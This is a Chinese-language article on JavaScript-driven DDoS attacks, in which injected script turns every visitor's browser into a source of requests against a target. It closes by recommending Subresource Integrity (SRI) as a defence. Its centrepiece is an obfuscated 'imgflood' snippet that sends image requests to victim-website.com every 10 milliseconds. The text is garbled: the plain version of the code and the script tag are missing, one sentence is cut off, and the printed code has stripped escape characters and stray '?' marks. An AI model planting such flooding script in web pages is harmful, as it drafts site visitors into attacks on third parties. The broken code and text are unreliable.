最古老、最普遍、卻又最可怕的攻擊非ddos攻擊莫屬。
在傳統的DDoS攻擊中,攻擊者會控制大量的傀儡機,然后向目標服務器發送大量請求,阻止合法用戶訪問網站。
然而,最近幾年DDoS攻擊技術不斷推陳出新:攻擊者用一種新型且很有趣的方式欺騙用戶參與到攻擊活動中:使用惡意的JavaScript欺騙用戶參與DDoS攻擊。
基于JavaScript的DDOS攻擊有一個非比尋常的特點:任何有瀏覽器的設備都可能參與攻擊,其潛在攻擊規模接近無限。
基于JavaScript的DDOS攻擊原理
立即學習“Java免費學習筆記(深入)”;
現代網站的交互作用大多數都是采用JavaScript。JavaScript腳本可直接注入HTML中,或者通過
該腳本會在目標網頁上生成一個圖片按鈕,圖片按鈕會指向“’victim-website.com” 網站。只要用戶訪問了含有該腳本的網頁,那么他就會成為 “’victim-website.com”DDoS攻擊中的一員。瀏覽器發出的每一個請求都是有效請求,于是該攻擊又變成了Layer 7 攻擊。
由于是JS代碼,所以通過查看網頁源碼,可以直接的看到攻擊代碼,發現是攻擊網頁。但如果以上的代碼經過JShaman的混淆,JS代碼會被保護起來,更難以被識別和發現:
var?_0x9ea1=['victimx2dwebsitex2ecom','x2findexx2ephpx3f','floor','random','src','httpx3ax2fx2f', 'x3dval'];(function(_0xa439d7,_0x7a3f17){var?_0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7 ['x70x75x73x68'](_0xa439d7['x73x68x69x66x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1)); var?_0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var?_0x393163=_0x9ea1 [_0x3ac308];return?_0x393163;};function?imgflood(){var?_0xcb2cd4=_0x19ea('0x0');var?_0x3d1bbb=_0x19ea('0x1'); var?_0x189885=new?Image();var?_0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x189885 [_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa);
如果攻擊者入侵了一個網站,在網站js文件中嵌入了類似上面的惡意JavaScript腳本,那么該網站的每一個訪客都將成為DDoS攻擊中的一員。網站流量越高就意味著DDoS越嚴重。
如何防止這種攻擊?
目前HTTP還沒有相關的機制來阻止該腳本的運行,但W3C已經提出了名叫子資源完整性(SRI)的新功能,使用加密哈希值驗證腳本,如果哈希值不匹配瀏覽器可以阻止其運行。
例如,如下腳本標簽:
<script></script>
瀏覽器會自動下載該.js文件,并且會不分青紅皂白的運行它。即使該文件中被攻擊者注入了惡意腳本,瀏覽器也不會識別(也識別不出)。然而如果網站發現了哈希值驗證腳本不匹配,子資源完整性(SRI)會告訴瀏覽器不要運行該腳本。
建議網站管理員將添加這一標簽添加到服務器上,用以保護其用戶不被利用。
推薦相關教程:web服務器安全